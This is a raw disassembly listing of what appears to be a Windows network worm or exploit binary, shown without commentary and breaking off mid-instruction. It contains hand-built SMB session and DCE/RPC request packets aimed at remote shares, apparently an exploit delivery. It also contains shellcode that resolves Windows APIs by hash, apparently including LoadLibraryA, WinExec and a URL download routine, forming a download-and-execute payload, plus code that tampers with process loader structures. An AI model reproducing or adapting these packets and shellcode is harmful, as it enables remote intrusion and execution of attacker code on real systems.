42A888h dd 13h, 42A880h, 21h, 42A878h, 0Eh, 42A870h, 0Dh, 42A868h dd 0Fh, 429EC0h, 10h, 42A860h, 5, 42A858h, 1Eh, 42A854h dd 12h, 42A850h, 20h, 42A84Ch, 0Ch, 429EC8h, 0Bh, 429ED0h dd 15h, 42A844h, 1Ch, 429ED8h, 19h, 42A83Ch, 11h, 42A834h dd 18h, 42A82Ch, 16h, 42A824h, 17h, 42A81Ch, 22h, 42A818h dd 23h, 42A814h, 24h, 42A810h, 25h, 42A808h, 26h, 42A7FCh dbl_433C98 dq 1.797693134862316e308 ; DATA XREF: sub_424FC9+BCr ; sub_424FC9:loc_4250B7r ... dd 0 dd 0FFF80000h dbl_433CA8 dq 1.797693134862316e308 ; DATA XREF: sub_424FC9+93r ; sub_424FC9:loc_42508Dr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_433CC0 dt 2.3562723457267347066e313 ; DATA XREF: sub_425578+Br ; sub_425578+1Er align 4 tbyte_433CCC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_425578+30r align 4 dword_433CD8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_426086o dword_433CF0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 7080h, 1, 0FFFFF1F0h ; DATA XREF: sub_42609Co dd 0 dword_433D18 dd 545350h, 0Fh dup(0) ; DATA XREF: .text:00433D98o dword_433D58 dd 544450h, 0Fh dup(0) ; DATA XREF: .text:00433D9Co dd offset dword_433D18 dd offset dword_433D58 dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 4 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0) dword_433E30 dd 2 dup(0) ; DATA XREF: sub_427171+Co dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_433F90 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_427171+23o dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_4340EC dd offset off_429530 ; DATA XREF: .text:off_430DC4o ; .text:00430F28o ... dd 0 a_?avexception@ db '.?AVexception@@',0 off_434104 dd offset off_429530 ; DATA XREF: .text:off_430DDCo ; .text:00430E1Co ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_434124 dd offset off_429530 ; DATA XREF: .text:off_430E24o ; .text:00430E68o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_434144 dd offset sub_4010FE ; DATA XREF: sub_4010FE+3Do ; sub_4010FE+48r ... dd 0FFFFFFFFh, 0 dword_434150 dd 0EC6785B2h, 8B157490h, 2686994Ah, 2AD253FFh, 8B76126Bh ; DATA XREF: sub_40B8D4+92o dd 7217C989h, 90760DF4h, 5A177865h, 7B6B96F6h, 2C1344CBh dd 7F91CCA5h, 390DF5FEh, 17357352h, 0FFC7840Bh, 0DEC314BBh dd 5065FF54h, 1577B552h, 23A094A4h, 676CF705h, 7B6A196Fh dd 3891C854h, 2CF58CBBh, 0F5E40D27h, 86C6BF4Fh, 570E2C6Fh dd 9B2E63E5h, 0A1DD278Eh, 0B71B3A9Ch, 2B56791Bh, 74352FE3h dd 0A68DDCFCh, 0E4B2B58Ch, 5A9D738Eh, 0A6BFAC13h, 9A44F77h dd 6E21CB1Ah, 1933AEB3h, 8AA5F3A8h, 0A4DFE9E2h, 8D26CE4h dd 9E1BF735h, 286F539Dh, 3633410Dh, 4D6CD326h, 4E4DD9E5h dd 0A3901221h, 500DFF2h, 0D1DCFBF7h, 39761841h, 0DE7315A4h dd 34E84B82h, 0BB5DEDBAh, 6B223072h, 7EAECBDBh, 65113139h dd 3428D51Dh, 0CCA79385h, 1FE13745h, 956FD09Ah, 0EE7FB7B1h dd 8A2E194Dh, 3F0A274Ch, 0D4837080h, 0F7E81370h, 9D0FDE35h dd 0A33BD72Ch, 958B0BA0h, 0E635EA6Ch, 4F1B8BCBh, 0BA69A399h dd 21DDB090h, 0CD45C746h, 765509EEh, 0B4FC3E80h, 9484F1E2h dd 745B2BAFh, 52C1423Bh, 53F3DA6Fh, 0B47D7B7h, 0A128AF81h dd 68FAE6DFh, 0AE1DC8FEh, 9DE47FE3h, 0A5F9370Ch, 65F0FE7Bh dd 18123547h, 827B5A4Eh, 2EEF5FB2h, 2EFC68E1h, 1298E15Fh dd 0EEE30F13h, 0DB901566h, 9778EECFh, 386C34BFh, 0C3B6976Eh dd 0C101580h, 0DEF5CCB5h, 8D909F0Ch, 96456F4Ah, 0C6A886B9h dd 5EEA4BA1h, 0D7CB12ADh, 8E26273h, 83D5648Dh, 3E243F19h dd 31D11E02h, 12CF1684h, 8848E86Bh, 3A2B04EFh, 6DE429EEh dd 17A398E7h, 7949F29Ch, 9D86FA53h, 47FE1813h, 69D8C626h dd 94CD562Ah, 49A661DAh, 0D692D3FCh, 0B3743DE2h, 0D07E4113h dd 0BCC9423Dh, 91434DC3h, 88347CFBh, 0E18ADDA7h, 5C1FAA94h dd 789BC049h, 8C2E3D5Eh, 0F75CC427h ; =============== S U B R O U T I N E ======================================= sub_434350 proc near ; DATA XREF: sub_405664+4Do ; sub_4056EB+4Do push ebx push esi push edi sub sp, 80h mov esi, esp call sub_43444C push dword ptr [esi] push 63D61209h call sub_434462 mov [esi+8], eax call sub_434415 push dword ptr [esi+4] push 0CA2BD06Bh call sub_434462 mov [esi+0Ch], eax call sub_4343C7 push dword ptr [esi+4] push 4C0297FAh call sub_434462 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_434350 endp ; =============== S U B R O U T I N E ======================================= sub_4343C7 proc near ; CODE XREF: sub_434350+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4343F0 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4343C7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4343F0 proc near ; CODE XREF: sub_4343C7+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4343FF: ; CODE XREF: sub_4343F0+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_43440C inc ebx jmp short loc_4343FF ; --------------------------------------------------------------------------- loc_43440C: ; CODE XREF: sub_4343F0+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4343F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_434415 proc near ; CODE XREF: sub_434350+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_43442D: ; CODE XREF: sub_434415+1Ej cmp [ecx], ebx jz short loc_434435 mov ecx, [ecx] jmp short loc_43442D ; --------------------------------------------------------------------------- loc_434435: ; CODE XREF: sub_434415+1Aj mov edx, edi loc_434437: ; CODE XREF: sub_434415+2Aj cmp [edx+4], ebx jz short loc_434441 mov edx, [edx+4] jmp short loc_434437 ; --------------------------------------------------------------------------- loc_434441: ; CODE XREF: sub_434415+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_434415 endp ; =============== S U B R O U T I N E ======================================= sub_43444C proc near ; CODE XREF: sub_434350+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_43444C endp ; =============== S U B R O U T I N E ======================================= sub_434462 proc near ; CODE XREF: sub_434350+16p ; sub_434350+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_434478: ; CODE XREF: sub_434462+33j jecxz short loc_4344B2 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_434485: ; CODE XREF: sub_434462+2Dj lodsb cmp al, ah jz short loc_434491 ror edi, 0Dh add edi, eax jmp short loc_434485 ; --------------------------------------------------------------------------- loc_434491: ; CODE XREF: sub_434462+26j cmp edi, [esp+20h+arg_0] jnz short loc_434478 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4344B2: ; CODE XREF: sub_434462:loc_434478j ; sub_434462:loc_4344B2j jmp short loc_4344B2 sub_434462 endp ; --------------------------------------------------------------------------- align 8 dword_4344B8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_405771+10Fo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_434548 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405771+142o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 2 dup(0) dword_4345F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405771+167o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4346D8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405771+84o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_405771+B3o unicode 0, <C$>,0 a????? db '?????',0 align 10h dword_434740 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405771+2F8o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_4347B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405771+321o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_434858 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405771+357o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4348D8 dd offset loc_401492+3 ; DATA XREF: sub_405771+381o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_434970 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405771+457o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_4349E0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405771+482o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_434A58 dd 0 ; DATA XREF: sub_405771+4B0o dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 0 dd offset loc_40A896+4 dd 1, 0 dd 1, 2 dup(0) off_434AE0 dd offset word_42FE36 ; DATA XREF: .text:00408C70r dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset dword_4304C8 dd offset dword_4304C8 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset asc_42FF68 ; "\r\n" dd offset asc_42FF68 ; "\r\n" dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset asc_42FFF4 ; " " dd offset asc_42FFF4 ; " " dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset dword_42FE10 dd offset dword_4304C0+4 dd offset dword_4304C0 dd offset asc_43036C ; "!" dd offset dword_4304BC dd offset a@ ; "@" dd offset dword_4304B8 dd offset dword_42FE30 dd offset dword_4304A8+0Ch dd offset dword_4304A8+8 dd offset dword_4304A8+4 dd offset dword_4304A8 dd offset dword_4304A0+4 dd offset dword_4304A0 dd offset dword_430498+4 dd offset dword_430498 dd offset dword_430490+4 dd offset dword_430490 dd offset dword_430468+24h dd offset dword_430468+20h dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset aA ; "a" dd offset aA_0 ; "A" dd offset dword_430468+1Ch dd offset aB ; "B" dd offset dword_430468+18h dd offset dword_430468+14h dd offset dword_430468+10h dd offset aD_0 ; "D" dd offset dword_430468+0Ch dd offset dword_430468+8 dd offset dword_430468+4 dd offset dword_430468 dd offset dword_430440+24h dd offset dword_430440+20h dd offset dword_430440+1Ch dd offset dword_430440+18h dd offset aI ; "i" dd offset aI_0 ; "I" dd offset dword_430440+14h dd offset dword_430440+10h dd offset dword_430440+0Ch dd offset dword_430440+8 dd offset dword_430440+4 dd offset dword_430440 dd offset dword_430424+18h dd offset aM ; "M" dd offset dword_430424+14h dd offset dword_430424+10h dd offset dword_430424+0Ch dd offset dword_430424+8 dd offset dword_430424+4 dd offset dword_430424 dd offset dword_4303D4+4Ch dd offset dword_4303D4+48h dd offset dword_4303D4+44h dd offset dword_4303D4+40h dd offset dword_4303D4+3Ch dd offset aS_0 ; "S" dd offset dword_4303D4+38h dd offset dword_4303D4+34h dd offset dword_4303D4+30h dd offset dword_4303D4+2Ch dd offset dword_4303D4+28h dd offset dword_4303D4+24h dd offset dword_4303D4+20h dd offset dword_4303D4+1Ch dd offset dword_4303D4+18h dd offset dword_4303D4+14h dd offset dword_4303D4+10h dd offset dword_4303D4+0Ch dd offset dword_4303D4+8 dd offset dword_4303D4+4 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset dword_42FE10 dd offset dword_42FE10 dd offset dword_4304C0 dd offset dword_4304C0 dd offset dword_4304BC dd offset dword_4304BC dd offset dword_4304B8 dd offset dword_4304B8 dd offset dword_4304A8+0Ch dd offset dword_4304A8+0Ch dd offset dword_4304A8+4 dd offset dword_4304A8+4 dd offset dword_4304A0+4 dd offset dword_4304A0+4 dd offset dword_430498+4 dd offset dword_430498+4 dd offset dword_430490+4 dd offset dword_430490+4 dd offset dword_430468+24h dd offset dword_430468+24h dd offset dword_430490 dd offset dword_430490 dd offset dword_4303D4 dd offset dword_4303D4 dd offset dword_4303D0 dd offset dword_4303D0 dd offset dword_4303CC dd offset dword_4303CC dd offset a_ ; "." dd offset a_ ; "." dd offset asc_430038 ; "/" dd offset asc_430038 ; "/" dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset dword_4303C4+4 dd offset asc_43015C ; ":" dd offset dword_4303C4 dd offset dword_4303D4 dd offset asc_430034 ; "," dd offset dword_4304C8 dd offset dword_4303CC dd offset dword_4303BC+4 dd offset a_ ; "." dd offset dword_4303BC dd offset asc_430038 ; "/" dd offset dword_4303B4+4 dd offset asc_42FE00 ; "`" dd offset dword_4303B4 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset word_42FE36 dd offset dword_4303A4+0Ch dd offset dword_4303A4+8 dd offset asc_42FDC4 ; "\\" ; --------------------------------------------------------------------------- rol byte ptr [ebx], 1 inc ebx add [eax-5BFFBCFDh], ch add eax, [ebx+0] mov al, ds:9C004303h add eax, [ebx+0] loc_4351D8: ; DATA XREF: sub_40C5E6+36o call sub_435233 push ebx push ebp push esi push edi mov ebp, [esp+18h] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4351F6: ; CODE XREF: .text:00435213j jecxz short loc_43522A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi cld loc_435201: ; CODE XREF: .text:0043520Dj xor eax, eax lodsb cmp al, ah jz short loc_43520F ror edi, 0Dh add edi, eax jmp short loc_435201 ; --------------------------------------------------------------------------- loc_43520F: ; CODE XREF: .text:00435206j cmp edi, [esp+14h] jnz short loc_4351F6 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp jmp short loc_43522C ; --------------------------------------------------------------------------- loc_43522A: ; CODE XREF: .text:loc_4351F6j xor eax, eax loc_43522C: ; CODE XREF: .text:00435228j pop edi pop esi pop ebp pop ebx retn 8 ; =============== S U B R O U T I N E ======================================= sub_435233 proc near ; CODE XREF: .text:loc_4351D8p pop esi push 30h pop ecx mov ebx, fs:[ecx] mov ebx, [ebx+0Ch] mov ebx, [ebx+1Ch] mov ebx, [ebx] mov ebx, [ebx+8] push ebx loc_435246: ; DATA XREF: .text:off_430898o push 0EC0E4E8Eh call esi mov edi, eax push ebx call near ptr loc_435283+1 pop ebx push 0 call sub_4352AC lea eax, [eax+21h] push eax push ebx push 0E8AFE98h call esi call eax push ebx push 60E0CEEFh call esi push 0 call eax jnz short near ptr byte_4352EB insb insd outsd outsb add [esi+ebp+45h], dl pop eax inc ebp loc_435283: ; CODE XREF: sub_435233+1Dp add [ebx+53h], bl sub_435233 endp ; sp-analysis failed lea ecx, [ebx+22h] push ecx call edi push eax push 702F1A36h call esi mov edx, eax push 0 push 0 lea ecx, [ebx+29h] push ecx call sub_4352AC lea 